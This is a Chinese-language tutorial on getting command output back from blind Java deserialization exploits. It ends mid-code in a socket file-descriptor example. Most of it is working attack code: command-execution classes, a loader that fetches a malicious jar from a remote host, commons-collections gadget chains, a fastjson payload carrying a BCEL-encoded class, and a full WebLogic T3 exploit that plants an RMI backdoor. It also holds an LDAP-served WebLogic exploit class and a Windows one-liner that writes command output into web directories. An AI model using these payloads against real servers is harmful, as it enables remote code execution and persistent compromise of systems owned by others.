JAVA反序列化回显学习

1
近年来出现的很多JAVA的漏洞都是无回显的漏洞,因此了解如何能让本身不回显的漏洞回显成为很多大佬研究的内容,本文将带着大家一起学习JAVA反序列化漏洞的回显方案。

defineClass

​ defineClass可以将byte[]转换为Class类,如下所示defineClass会接收我们传入的name,byte[],长度等参数,最终会返回给我们一个Class类的对象。

image-20201217174607641

​ 也就是说我们不仅可以通过ClassLoader.loadClass()来获取Class类,也可以将一个类转化为byte[],通过defineClass我们就可以获取到这个类。

​ 我这里写了个测试代码来帮助理解,首先我们创建一个test666类,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.Charset;

public class test666 {
public test666(String cmd) throws Exception {
InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
InputStreamReader reader = new InputStreamReader(stream, Charset.forName("gbk"));
BufferedReader bufferedReader = new BufferedReader(reader);
StringBuffer buffer = new StringBuffer();
String line = null;

while((line = bufferedReader.readLine()) != null) {
buffer.append(line).append("\n");
}

throw new Exception(buffer.toString());
}
}

​ 可以看到在我们的有参构造方法中,接收了cmd参数放到ProcessBuilder中执行将执行的结果通过exception异常来回显出来,我们将test666这个类编译,再编写一个类去将test666.class中的内容读取并存入到字节数组中,通过defineClass来获取test666这个类的Class对象,再通过newInstance来调用它的构造方法并传入参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.*;
import java.lang.reflect.InvocationTargetException;

public class defineClassTest extends ClassLoader{
public static <defineClass> void main(String[] args) throws IOException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
File file=new File("C:\\Users\\admin\\Desktop\\test666.class");
BufferedInputStream bis = null;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
FileInputStream in =new FileInputStream(file);
bis = new BufferedInputStream(in);
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
byte[] buffer = baos.toByteArray();
defineClassTest defineclasstest = new defineClassTest();
Class cls = defineclasstest.defineClass("test666",buffer,0,buffer.length);
cls.getConstructor(String.class).newInstance("ipconfig");
}
}

​ 执行结果如下,可以看到我们已经将命令执行的结果打印出了。

image-20201217200921594

URLClassLoader

​ 我们也可以使用URLClassLoader来加载远程的恶意类执行命令并获取回显,首先将我们生成的恶意类打包并放置到远程服务器上。

image-20201218101624866

​ 编写如下代码通过URLClassLoader加载远程的jar包执行命令并获取回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class urlget {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException {
try {
URLClassLoader loader=new URLClassLoader(new URL[]{new URL("http://xxx:88/test666.jar")});
Class cls = loader.loadClass("test666");
cls.getConstructor(String.class).newInstance("ipconfig");
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}

}
}

image-20201218103236476

image-20201218103258089

​ URLClassLoader回显方案在commons-collections利用链下的利用方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class commonsTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.net.URLClassLoader.class),

new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),

new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
"http://xxxxx:88/test666.jar") } } }),
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "test666" }),

new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),

new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { "ipconfig" } }),


};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}

image-20201218105916926

fastjson回显

​ 在fastjson的回显利用方案中,需要将我们的恶意类经过BCEL编码后传入,经过查阅资料fastjson回显的利用方案最终是因为调用了forName方法,而forName在调用的过程中会去执行static静态代码块,所以我们需要将我们的利用代码写在静态代码块中,由于在静态代码块中调用了方法,所以被调用的方法也要用static来修饰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.Charset;

public class test888 {
static{
try {
exec("ipconfig");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
InputStreamReader reader=new InputStreamReader(stream, Charset.forName("gbk"));
BufferedReader bufferedReader =new BufferedReader(reader);
StringBuffer buffer=new StringBuffer();
String line=null;
while((line=bufferedReader.readLine())!=null){
buffer.append(line).append("\n");
}
throw new Exception(buffer.toString());
}
}

​ 编译上面的代码,我们可以获取到test888.class这个类,下面我们将这个类进行处理,转换为BCEL编码,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class BCELencode {
public static void main(String []args) throws Exception{
Path path = Paths.get("C:\\Users\\admin\\xxx\\test888.class"); //文件绝对路径
byte[] data = Files.readAllBytes(path);
String s = Utility.encode(data,true);
System.out.print(s);
}
}

image-20201218115406847

​ 我们可以编写如下代码测试能否利用com.sun.org.apache.bcel.internal.util.ClassLoader 加载我们的恶意类执行命令,测试代码如下:

1
2
3
4
5
6
7
public class pwn {
public static void main(String[] args) throws ClassNotFoundException {
String classname="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuU$5dw$d3F$Q$bdk$cb$5eY$uqb$e7$D$93$94RJ$c1$J$c1$a6$40I$9a$844$q$85$f2$a1$E$g$a7$a1$wM$8b$y$af$j$r$8e$e4$p$cb$3d$fc$p$9ey$b19$f5$a1$7d$ebC$ffI$ffDaVv$9c$bav$fc$b0$ab$99$bd3$9e$7bgV$fa$fb$df$df$ff$Ap$HG$gfp$8fc$8d$e3$h$V$eb$w$eek$88$60C$$$9b$g$be$c5$D$8e$87$w$be$d3$f0$I$8f5$q$f0$84$e3$a9$86$R$Y$i$5b$g$92$b8$t$8dm$f9$f4L$c5s$8e$ef$e5$e3$8e$86$J$UT$ecj$b8$80$l$a4$b1$c7$f1$82$e3G$86$f8$aa$e3$3a$c1$gC4$3b$b7$c7$a0lz$r$c1$904$iWl7$8e$8b$c2$df$b5$8aU$f2$a4$M$cf$b6$aa$7b$96$efH$bb$ebT$82$D$a7$ce$900$CQ$P$96$96$96V$c8$r$5e$L$9ba2k$iZ$bfY$f9$aa$e5V$f2$85$c0w$dc$ca$8a$cc$l$b5$8fK2$d9$c0$nUR$P$7ca$jSl$e7$d4$f1$f2$8f$ddZ$p$u$84n$J$a0$bd$q$7c$86$99a$80$9d$f0$90$60$a3$c5F$b9$y$7cQ$da$e9$c2$cf$f7$e0$h$7d$t2e$H$db$c3$fc$a7$a2$OV2$aa$92$W$M$p$85$c0$b2$8f$b6$acZ$c8$9d$ba$c3aR$_H$7eR$9eA$7b$f0$da$W$b5$c0$f1$5c$SD$5d$b5$ab$5dY$99$e8$R$K$93$f7$60$x$d4$h$K$xx$N$df$W$P$j$v$a7$de$951$t$e1$3af$f1$J$Vv$g$fa$dc$f7lQ$afo4$9cj$c8k$ec$ff$r3p$927G$j$60$88$e4m$99$e1$t$j$_$f13$c7$be$8e_$f0$xC$e6L$e5$a87$95$e2$R$c7$x$j$W$8a2$96$da85$5c9yZ$3a9$j$d0L$87$40YG$F$HD_cH$Pa$af$c3$91$98Y$5c$n$b5$9c$9a$ed$b9e$a7$a2$e3s$5c$d1q$uy$f3$ae$W$7d4$9f$V$P$85$j$9cd$ecgA$e5d_$O$l$baX$3d$b0$fc$40$O$e5$9c1$m$tux$7c$c0IST$RA_$f6$e9$93$e0$81$b9$ec$b4$c8$r$bf$7d$60$f9u$R$e47$3b$3b$b1$u$7b$fe$b6uL$fd$c8$N$bb$Q$c6Y$91$94$f5Vv$e8$df$9d$j$o$99$a6O$83$ba3$$$bd$aa$bc8F8$c5$T$7d$S$9c$de$3d$abV$T$$$b5t$e1$ec2$87$dd$N5$f0NF$_Y$a3$3d$I$_$c9$aeo$d9$C$9f$d1$bbf$G$f2$X$F$93$c3L$ebE$b2$f2$b43$dac$f3$z$b0$b7$f4$Q$c1$a7$b4$c6Cg$i$97h$d5$3b$AJq$99$f6$84$i$LBQ0S$I$R$t$dfa$h$R3$fe$kQ3$9aR$K$a6$92$8a$V$cc$d8$7c$a1$85x$T$bc$J$d5h$pa$5eOi$efp$ae$F$7d$ab$8d$Rs$a1$85$d1$ed6$92f$Lc$cb$K$5b$8e$ddhb$dc$5c$8e$fd$85tF$c9$c4$9aH$a5$d2$b4$bcx$f3$e1$9f6$s$cc$8c$d2$c4d$LS$7f$86$Ed$85$97$a1$d2$9a$a4$K$c7$90$c38$W$91$c2$3a$d2$d8$a4$f7$e9$W$s$b1$8f$e9$b0$fa$b5N$85$f8$CWi$bf$84$t$b8$86$y1$caa$Vs$98$t$s$8b$b8$8d$ebX$a0$bc$ebd$df$a0$T$85$b2$5c$pi$ae$S$eb$9b$U5$8b$c8$Hr$c59$be$e4$b8$c5q$9b$e3$O$c7Wd$C$Z$dc$r$84B$Z$t$a8$a2$c5$9e$b0$fb$5daGS$d3$efp$fe$N$d4$a7$f3Md$dev$b5T$J$dd$e11E$96T5F$3a$ab$90$l$91s$f4$cd$Y$e9$v$9f$a0$dcK$f8$9a$yY$JG$e4$R$c7$b2$fc$bb$95$b0Y$ab$l$B$e8$60$97$T$ac$G$A$Ad";
ClassLoader cls=new com.sun.org.apache.bcel.internal.util.ClassLoader();
Class.forName(classname,true,cls);
}
}

image-20201218134951663

​ 简单分析一下com.sun.org.apache.bcel.internal.util.ClassLoader的forName方法是如何执行的。

​ 跟进forName方法,首先获取SecurityManager实例,获取实例为空后会调用forName0这个方法。

image-20201218140341587

​ 但是forName0是native层的代码,所以获取不到具体的执行细节。

image-20201218140555599

​ 但继续跟进会调用java.lang.ClassLoader.loadClass方法

image-20201218140645454

​ 继续跟进调用,首先尝试通过class_name获取Class实例,这里没有获取到

image-20201218140742726

​ 当没有获取到Class实例,会查看class_name中是否包含$$BCEL$$,如果包含会执行createClass方法。

image-20201218140906671

​ 在createClass中会以$$BCEL$$进行分割,取出real_name,将real_name中的内容解码成bytes形式,并获取ClassParser解析器,解析出test888这个类。

image-20201218141015072

​ 获取Class后通过defineClass来加载类,执行类中的static方法。

image-20201218141528766

​ 使用org.apache.tomcat.dbcp.dbcp.BasicDataSource配合回显

1
2
3
4
5
6
7
8
9
10
11
{
{"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuU$5dw$d3F$Q$bdk$cb$5eY$uqb$e7$D$93$94RJ$c1$J$c1$a6$40I$9a$844$q$85$f2$a1$E$g$a7$a1$wM$8b$y$af$j$r$8e$e4$p$cb$3d$fc$p$9ey$b19$f5$a1$7d$ebC$ffI$ffDaVv$9c$bav$fc$b0$ab$99$bd3$9e$7bgV$fa$fb$df$df$ff$Ap$HG$gfp$8fc$8d$e3$h$V$eb$w$eek$88$60C$$$9b$g$be$c5$D$8e$87$w$be$d3$f0$I$8f5$q$f0$84$e3$a9$86$R$Y$i$5b$g$92$b8$t$8dm$f9$f4L$c5s$8e$ef$e5$e3$8e$86$J$UT$ecj$b8$80$l$a4$b1$c7$f1$82$e3G$86$f8$aa$e3$3a$c1$gC4$3b$b7$c7$a0lz$r$c1$904$iWl7$8e$8b$c2$df$b5$8aU$f2$a4$M$cf$b6$aa$7b$96$efH$bb$ebT$82$D$a7$ce$900$CQ$P$96$96$96V$c8$r$5e$L$9ba2k$iZ$bfY$f9$aa$e5V$f2$85$c0w$dc$ca$8a$cc$l$b5$8fK2$d9$c0$nUR$P$7ca$jSl$e7$d4$f1$f2$8f$ddZ$p$u$84n$J$a0$bd$q$7c$86$99a$80$9d$f0$90$60$a3$c5F$b9$y$7cQ$da$e9$c2$cf$f7$e0$h$7d$t2e$H$db$c3$fc$a7$a2$OV2$aa$92$W$M$p$85$c0$b2$8f$b6$acZ$c8$9d$ba$c3aR$_H$7eR$9eA$7b$f0$da$W$b5$c0$f1$5c$SD$5d$b5$ab$5dY$99$e8$R$K$93$f7$60$x$d4$h$K$xx$N$df$W$P$j$v$a7$de$951$t$e1$3af$f1$J$Vv$g$fa$dc$f7lQ$afo4$9cj$c8k$ec$ff$r3p$927G$j$60$88$e4m$99$e1$t$j$_$f13$c7$be$8e_$f0$xC$e6L$e5$a87$95$e2$R$c7$x$j$W$8a2$96$da85$5c9yZ$3a9$j$d0L$87$40YG$F$HD_cH$Pa$af$c3$91$98Y$5c$n$b5$9c$9a$ed$b9e$a7$a2$e3s$5c$d1q$uy$f3$ae$W$7d4$9f$V$P$85$j$9cd$ecgA$e5d_$O$l$baX$3d$b0$fc$40$O$e5$9c1$m$tux$7c$c0IST$RA_$f6$e9$93$e0$81$b9$ec$b4$c8$r$bf$7d$60$f9u$R$e47$3b$3b$b1$u$7b$fe$b6uL$fd$c8$N$bb$Q$c6Y$91$94$f5Vv$e8$df$9d$j$o$99$a6O$83$ba3$$$bd$aa$bc8F8$c5$T$7d$S$9c$de$3d$abV$T$$$b5t$e1$ec2$87$dd$N5$f0NF$_Y$a3$3d$I$_$c9$aeo$d9$C$9f$d1$bbf$G$f2$X$F$93$c3L$ebE$b2$f2$b43$dac$f3$z$b0$b7$f4$Q$c1$a7$b4$c6Cg$i$97h$d5$3b$AJq$99$f6$84$i$LBQ0S$I$R$t$dfa$h$R3$fe$kQ3$9aR$K$a6$92$8a$V$cc$d8$7c$a1$85x$T$bc$J$d5h$pa$5eOi$efp$ae$F$7d$ab$8d$Rs$a1$85$d1$ed6$92f$Lc$cb$K$5b$8e$ddhb$dc$5c$8e$fd$85tF$c9$c4$9aH$a5$d2$b4$bcx$f3$e1$9f6$s$cc$8c$d2$c4d$LS$7f$86$Ed$85$97$a1$d2$9a$a4$K$c7$90$c38$W$91$c2$3a$d2$d8$a4$f7$e9$W$s$b1$8f$e9$b0$fa$b5N$85$f8$CWi$bf$84$t$b8$86$y1$caa$Vs$98$t$s$8b$b8$8d$ebX$a0$bc$ebd$df$a0$T$85$b2$5c$pi$ae$S$eb$9b$U5$8b$c8$Hr$c59$be$e4$b8$c5q$9b$e3$O$c7Wd$C$Z$dc$r$84B$Z$t$a8$a2$c5$9e$b0$fb$5daGS$d3$efp$fe$N$d4$a7$f3Md$dev$b5T$J$dd$e11E$96T5F$3a$ab$90$l$91s$f4$cd$Y$e9$v$9f$a0$dcK$f8$9a$yY$JG$e4$R$c7$b2$fc$bb$95$b0Y$ab$l$B$e8$60$97$T$ac$G$A$A"
}
}: "bbb"
}

image-20201218145459924

​ 首先我们看一下BasicDataSource这个类是tomcat下的一个类,在tomat-dbcp.jar中,在进行json解析的过程中会调用getConnection()

image-20201218150110385

​ 在createDataSource中调用createConnectionFactory

image-20201218150145651

​ 在createConnectionFactory中调用Class.forName,并将class_name和classloader传入,后面的过程就和之前的demo一样,不再分析了。

image-20201218150304057

​ 这种方法目前只能在低版本的fastjson中利用,高版本的fastjson中加入了autoType属性,无法调用BasicDataSource。

image-20201218151232364

RMI回显

​ 首先我们看下如何注册和使用RMI服务,下面是RMI Demo代码

RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {

public interface IRemoteHelloWorld extends Remote { // RMI调用对象接口定义,这个接口必须继承Remote接口,标明这是一个远程调用的接口,接口中定义的方法,会被Client端调用,也就是远程调用方法
public String hello() throws RemoteException; //远程调用方法必须要抛RemoteException异常
}

public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld { //远程对象实现类
//UnicastRemoteObject用于导出的远程对象和获得与该远程对象通信的存根。

protected RemoteHelloWorld() throws RemoteException { //实现类需要重写无参构造器,且需要抛出RemoteException异常
super();
}

public String hello() {
return "helloworld";
}
}

private void start() throws Exception {

RemoteHelloWorld h = new RemoteHelloWorld(); //创建远程对象
LocateRegistry.createRegistry(1099); //创建一个接受对1099端口调用的远程对象注册表
Naming.rebind("rmi://127.0.0.1:1099/Hello", h); //把远程对象注册到RMI注册服务器上,并命名为Hello
}

public static void main(String[] args) throws Exception {
new RMIServer().start();
}

}

RMIClient.java

1
2
3
4
5
6
7
8
9
10
11
12
import com.test.rmi.RMIServer;

import java.rmi.Naming;

public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://127.0.0.1:1099/Hello");
String res = hello.hello();
System.out.println(res);
}
}

​ 首先打开服务端,再打开客户端,最终执行了服务端的hello方法,并将执行结果返回给客户端。

image-20201218170046027

​ 因为使用RMI回显利用本质上还是会调用defineClass方法来加载远程类,但是ClassLoader是一个抽象类,不能通过反射来获取抽象类的对象,因此我们如果要利用defineClass方法加载类的字节码,可以尝试寻找ClassLoader的子类,我在weblogic下进行寻找,有不少的类都继承了ClassLoader。

image-20201221094830804

​ 在这些类中,有几个类在实现过程中会直接调用父类的defineClass方法,比如weblogic.jar!\jxxload_help\PathVFSJavaLoader.class

image-20201221101826314

​ 还有weblogic.jar!\org\mozilla\classfile\DefiningClassLoader.class

image-20201221101949975

​ 找到了加载类字节码的方式后,我们再看下哪些部分开启了RMI服务,我们之前了解过开启RMI服务需要继承Remote类,因此我们可以寻找继承Remote类的类。

image-20201221102653829

​ 由于我们希望通过RMI来进行回显,所以我们要找到的RMI Server端开启的服务需要返回String类型的数据,比如ClusterMasterRemote类的getServerLocation方法。

image-20201221114120045

​ 根据这个思路我们可以实现ClusterMasterRemote类并且重写getServerLocation方法,在这个方法中执行命令,并将命令执行的结果返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;

public class RMITest implements ClusterMasterRemote {
public static void main(String[] args) {
RMITest remote = new RMITest();
try {
Context context = new InitialContext();
context.rebind("test666",remote);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void setServerLocation(String s, String s1) throws RemoteException {

}

@Override
public String getServerLocation(String cmd) throws RemoteException { try {

List<String> cmds = new ArrayList<String>();

cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);

ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();

BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();

String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}

return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}

image-20201221134435820

​ 另外我们还需要通过利用链比如common-collection1来通过DefiningClassLoader的defineClass来加载RMITest类并执行类中的main方法绑定一个RMI服务,通过访问这个RMI服务,并传入需要执行的命令,就可以获取命令执行后的结果。

1
2
3
4
5
6
7
8
9
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
new ConstantTransformer(new HashSet())};

​ 完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.supeream.serial.Reflections;
import com.supeream.serial.SerialDataGenerator;
import com.supeream.serial.Serializables;
import com.supeream.ssl.WeblogicTrustManager;
import com.supeream.weblogic.T3ProtocolOperation;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.mozilla.classfile.DefiningClassLoader;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.corba.utils.MarshalledObject;
import weblogic.jndi.Environment;

import javax.naming.Context;
import java.io.*;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Main {
private static String host = "192.168.3.30";
private static String port = "7001";
private static final String classname = "RMITest";

public static void main(String[] args) {
try {
String url = "t3://" + host + ":" + port;
byte[] bs=getBs();
// 安装RMI实例
invokeRMI(classname, bs);

Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
environment.setSSLClientTrustManager(new WeblogicTrustManager());
Context context = environment.getInitialContext();
ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("test666");

// 调用RMI实例执行命令
String res = remote.getServerLocation("ipconfig");
System.out.println(res);

} catch (Exception e) {
e.printStackTrace();
}

}

private static void invokeRMI(String className, byte[] clsData) throws Exception {
// common-collection1 构造transformers 定义自己的RMI接口
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
new ConstantTransformer(new HashSet())};

final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

InvocationHandler handler = (InvocationHandler) Reflections
.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, lazyMap);

final Map mapProxy = Map.class
.cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(),
new Class[]{Map.class}, handler));

handler = (InvocationHandler) Reflections.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, mapProxy);

// 序列化数据 MarshalledObject绕过
Object obj = new MarshalledObject(handler);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
byte[] payload = out.toByteArray();
// t3发送
T3ProtocolOperation.send(host, port, payload);
}

public static byte[] getBs() throws IOException {
File file=new File("C:\\Users\\admin\\Desktop\\RMITest.class");
Long filelength = file.length(); // 获取文件长度
BufferedInputStream bis = null;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
FileInputStream in =new FileInputStream(file);
bis = new BufferedInputStream(in);
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
byte[] buffer = baos.toByteArray();
return buffer;
}
}

image-20201221135505051

WebLogic回显

​ 根据lufei在weblogic_2019_2725poc与回显构造中的分析,可以通过获取当前请求线程中的header和response对象,在header中获取请求参数,在response中通过response.getOutputStream().write("xxxx"); 来获取命令执行的结果,代码如下:

1
2
3
4
5
6
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");

​ 这种获取回显的方法也可以配合到LDAP和RMI等协议获取回显的方式中,首先我们编写一个Exploit.java内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.IOException;

public class Exploit {
public Exploit() throws IOException {
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
String[] cmds = new String[]{"cmd.exe", "/c", lfcmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(output));
outputStream.flush();
response.getWriter().write("");
}
}

​ 在自己的VPS上开启LDAP服务,执行结果如下

image-20201221152936908

image-20201221152826165

Windows回显

执行结果写入web目录

​ 当我们在一些web网站测试过程中遇到了没有回显的命令执行漏洞,可以通过将命令执行结果写入到web目录下的文件的方式获取回显,首先要解决一个问题是怎么才能找到当前网站的目录呢?可以通过dir /s /b e:\web.xml这种方式获取e盘下所有的web.xml的目录。

image-20201221162728556

​ 其次我们可以将我们命令执行的结果循环写入到找到的这些文件的目录中,利用代码如下

1
cmd /c "for /f %i in ('dir /s /b e:tomcat.css') do (echo %i> %i.path.txt) & (ipconfig > %i.cmd.txt)"

image-20201221162905061

​ 如果是通过GET方式进行利用,需要将请求的内容编码,否则会下入不成功。

image-20201221163149040

image-20201221163227146

​ 由于使用这种方式写入回显会向匹配到的结果循环写入文件,所以我们在选择要匹配的文件名的时候,尽量选择一些不容易和其他项目重复的文件名。

socket文件描述符回显

​ 对服务端发起请求时会对应一个socket的文件描述符,我们可以获得当前请求的文件描述符,并在相应中写入回显内容。使用这种方法我们需要明白两个问题

  • 如何在java中获取当前的socket文件描述符?

    目前没有比较好的方法可以获取到当前请求的文件描述符,一般是通过暴力枚举文件操作符,再通过某些方式判断枚举的文件描述符是否有效,可以通过sun.nio.ch.Net#remoteAddress验证文件操作符是否有效,最后通过一些条件比如请求IP来过滤文件操作符是否来自于本次请求。

  • 如何向socket文件描述符写入数据?

    可以通过FileOutputStream或其子类写入回显数据。

    参考https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Windows/code/WindowsEcho.jsp测试类,代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    package com.example.demo;

    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;


    @RestController
    public class HelloController {
    @RequestMapping("/test")
    public String index() throws NoSuchFieldException, NoSuchMethodException, ClassNotFoundException, IllegalAccessException {
    if(java.io.File.separator.equals("\\")){
    java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
    field.setAccessible(true);

    Class clazz1 = Class.forName("sun.nio.ch.Net");
    java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress",new Class[]{java.io.FileDescriptor.class});
    method1.setAccessible(true);
